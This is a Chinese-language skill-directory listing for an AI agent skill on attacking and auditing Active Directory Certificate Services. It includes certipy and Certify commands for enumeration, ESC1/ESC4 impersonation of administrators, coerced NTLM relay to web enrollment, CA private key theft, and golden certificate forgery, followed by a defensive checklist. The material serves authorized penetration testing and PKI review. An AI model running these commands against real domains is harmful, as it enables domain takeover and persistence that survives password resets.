mcpField
A
abusing-adcs

abusing-adcs

github.com/trilwu安全17748 次安装12 周前更新
代码仓库

关于 abusing-adcs

面向经授权的 Active Directory 渗透测试人员与防御审查者,讲解 AD CS 配置风险及证书相关提权路径。内容涵盖枚举、利用条件、持久化影响和修复检查。

主要功能

  1. 01枚举易受攻击的证书模板
  2. 02梳理 ESC 提权与中继路径
  3. 03评估证书映射和绑定设置
  4. 04说明证书持久化风险
  5. 05提供 PKI 防御审查清单

适用场景

  1. 01检查 CA 与模板配置是否存在风险
  2. 02在授权测试中验证证书提权路径
  3. 03评估密码重置后的证书残留影响

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/trilwu/secskills --skill abusing-adcs

安装后在 Claude Code 中输入/abusing-adcs确认已加载。

详细介绍

滥用 AD CS

在 Active Directory 域中,证书颁发机构通常是从普通用户提升到域管理员的最短路径,因为证书模板是几乎没人审计的权限对象。只要有一个模板允许申请者提供自己的主题名称,就足以完全攻陷域,而这类模板在实际网络中的默认配置比应有的多得多。

仅可针对你获准测试的域。

适用场景

  • 域中存在 CA(有 pKIEnrollmentService 对象)
  • certipy find 或 BloodHound 报告了存在漏洞的模板
  • 你有任何域凭据,需要寻找权限提升路径
  • 你需要一种在密码重置后仍然有效的持久化域访问方式
  • 从防御角度审查 PKI 配置

不适用场景

  • 常规 AD 攻击(Kerberoasting、DCSync、横向移动)——使用 attacking-active-directory
  • 委派滥用——使用 attacking-kerberos-delegation
  • Entra ID / 云 PKI——使用 attacking-entra-id
  • 检测这些攻击——使用 engineering-detections;证书 请求事件(4886/4887)是主要遥测数据

先进行枚举

# Certipy — the standard tool; run this before anything else
certipy find -u [email protected] -p 'Password' -dc-ip 10.0.0.10 -vulnerable -stdout
certipy find -u [email protected] -p 'Password' -dc-ip 10.0.0.10 -old-bloodhound

# From Windows
Certify.exe find /vulnerable
Certify.exe cas                      # CA hosts, flags, and enrollment endpoints

certipy find -vulnerable 会直接标出 ESC 编号,因此它是第一条要运行的命令。请查看输出中的以下信息:谁可以申请证书、申请者是否可以指定主题、存在哪些 EKU,以及是否需要经理审批。

权限提升路径

按错误配置类型分组,因为修复方法和检测方式各不相同。

模板错误配置——常见情况
ID条件结果
ESC1申请者可指定主题(ENROLLEE_SUPPLIES_SUBJECT)+ 客户端身份验证 EKU + 低权限用户可申请 + 无需审批申请一张以任意用户身份签发的证书,包括域管理员
ESC2任意用途 EKU(或无 EKU)+ 低权限用户可申请证书可用于客户端身份验证;效果与 ESC1 相同
ESC3证书请求代理 EKU代表其他用户申请证书
ESC9设置了 CT_FLAG_NO_SECURITY_EXTENSION证书缺少 SID 绑定,可利用弱映射进行攻击
ESC15v1 模板允许申请者指定主题,且可注入应用程序策略通过应用程序策略进行客户端身份验证,绕过 EKU 限制
# ESC1 — the canonical path
certipy req -u [email protected] -p 'Password' -dc-ip 10.0.0.10 \
  -ca 'CORP-CA' -template 'VulnTemplate' -upn '[email protected]'

# Authenticate with the certificate and recover the NT hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10
# → TGT plus the account's NT hash
访问控制错误配置
ID条件结果
ESC4你对模板对象有写入权限将其重新配置为 ESC1 模板,使用后再还原
ESC5对 PKI 对象、CA 计算机对象或容器有写入权限可造成多种影响,最高可控制 CA
ESC7对 CA 具有 ManageCA 或 ManageCertificates 权限启用 ESC6,或批准你自己的待处理请求
# ESC4 — make it vulnerable, use it, put it back
certipy template -u [email protected] -p 'Password' -template 'WriteableTemplate' -save-old
# ... request as in ESC1 ...
certipy template -u [email protected] -p 'Password' -template 'WriteableTemplate' -configuration WriteableTemplate.json

还原模板不是可选项。 将模板留在易受攻击的状态,会实实在在地改变客户端的安全态势;不告知对方就这么做,问题出在你,而不是对方。先使用 -save-old 保存原配置,立即还原,并记录两项操作及其时间戳。

CA 错误配置
ID条件结果
ESC6CA 上设置了 EDITF_ATTRIBUTESUBJECTALTNAME2任何模板都可由申请者指定主题
ESC16在整个 CA 范围内禁用了安全扩展所有签发的证书都缺少 SID 绑定
# Check the CA flags
certutil -config "CA-HOST\CORP-CA" -getreg policy\EditFlags
中继路径
ID条件结果
ESC8可访问 Web 注册(/certsrv),且未绑定 EPA/HTTPS将 NTLM 中继到证书注册服务,为被中继的计算机获取证书
ESC11ICertPassage RPC 未启用数据包完整性通过 RPC 而不是 HTTP 进行中继
# ESC8: coerce authentication from a DC, relay it to web enrollment
certipy relay -ca 10.0.0.20 -template DomainController
# in another shell, coerce:
coercer coerce -u user -p 'Password' -t 10.0.0.10 -l 10.0.0.100
# or PetitPotam / printerbug
certipy auth -pfx dc01.pfx -dc-ip 10.0.0.10     # → DC machine account → DCSync
证书映射
ID条件结果
ESC10证书映射注册表值较弱通过 UPN 或 altSecurityIdentities 冒充身份
ESC13模板关联了组的颁发策略证书授予该组的成员身份
ESC14对 altSecurityIdentities 具有写入权限将你的证书映射到目标帐户

强证书绑定会改变局面。 经过 2022 年 5 月的更新(KB5014754)后,域控制器可以要求证书携带 SID 安全扩展,而 StrongCertificateBindingEnforcement 决定执行严格程度。在完全强制执行的域中,ESC9、ESC10 和 Certifried(CVE-2022-26923)将不再有效,但 ESC1、ESC4、ESC6 和 ESC8 仍然有效。报告某条路径可被利用之前,请先检查强制执行级别:

reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement
# 0 = disabled, 1 = compatibility (default for a period), 2 = full enforcement

持久化

证书是 AD 中最持久的持久化方式,这正是它们在报告中值得关注的原因。

  • 用户证书在其有效期内始终有效,即使密码已重置。重置被攻陷帐户的密码无法清除攻击者。
  • 窃取 CA 的私钥(THEFT2 / Golden Certificate)后,即可无限期、离线地为任何主体伪造证书。要从这种情况中恢复,必须重新颁发 PKI。
  • 吊销是唯一的补救措施,而大多数环境不会及时检查 CRL,甚至完全不检查。
# Extract the CA key with local admin on the CA host (DPAPI-protected)
certipy ca -backup -u [email protected] -p 'Password' -ca 'CORP-CA'
# Forge offline
certipy forge -ca-pfx ca.pfx -upn [email protected]

报告时请明确说明:“密码重置无法补救此问题;必须吊销已颁发的证书。”这句话会改变客户端的响应计划。

防御性审查

当参与的是配置审查而非攻击时:

  • 哪些模板允许申请者指定主题?谁可以申请?
  • 哪些模板向 Domain Users 或 Authenticated Users 开放客户端身份验证或 Any-Purpose EKU?
  • 敏感模板是否要求经理审批?
  • 是否在任何位置设置了 EDITF_ATTRIBUTESUBJECTALTNAME2?
  • 是否开放了 Web 注册?是否通过 EPA 强制使用 HTTPS?
  • StrongCertificateBindingEnforcement 是否处于完全强制执行状态?
  • 谁拥有 ManageCA 和 ManageCertificates 权限?
  • 是否监控证书颁发情况(事件 4886、4887、4899、4900)?

应当驳斥的借口

  • “该模板要求经理审批,所以很安全。” 检查 ESC7——持有 ManageCertificates 权限的人可以审批自己的申请。
  • “只有 Domain Admins 可以申请。” 查看 ACL,而不是只看组名。组会嵌套,而且 Authenticated Users 出现的频率往往超出预期。
  • “我们已针对 Certifried 打上补丁。” 这只能关闭一条路径。ESC1 和 ESC8 属于配置问题,无法通过打补丁解决。
  • “我们重置了被攻陷帐户的密码。” 证书仍然有效。请吊销它。
  • “这是内部 CA,严重性较低。” 能颁发域身份验证证书的内部 CA,相当于域管理员。
  • “BloodHound 没有显示。” 使用支持证书的收集器进行收集;较早的收集结果完全不包含 ADCS 边。
  • “我就不恢复模板了,这样更省事。” 不行。

ATT&CK 覆盖范围

由 secskills-core/ttp-index.json 生成——编辑该文件,然后运行 python3 scripts/sync_attack.py --write。在报告中引用 ID 前,请根据 当前 ATT&CK 版本重新核实。

凭证访问(TA0006)

  • T1649 窃取或伪造身份验证证书——另请参阅 attacking-active-directory

上述内容的检测资料:engineering-detections。主动搜寻:hunting-threats。失陷后响应:responding-to-incidents。

参考资料

  • attacking-active-directory — 更广泛的域攻击路径
  • attacking-kerberos-delegation — 另一类高收益 AD 提权路径
  • engineering-detections — 证书颁发和模板更改遥测
  • reporting-security-findings — 如何说明吊销要求
  • Certipy、Certify、PKIAudit、BloodHound(ADCS 边)、Coercer、PetitPotam

评论

支持 Markdown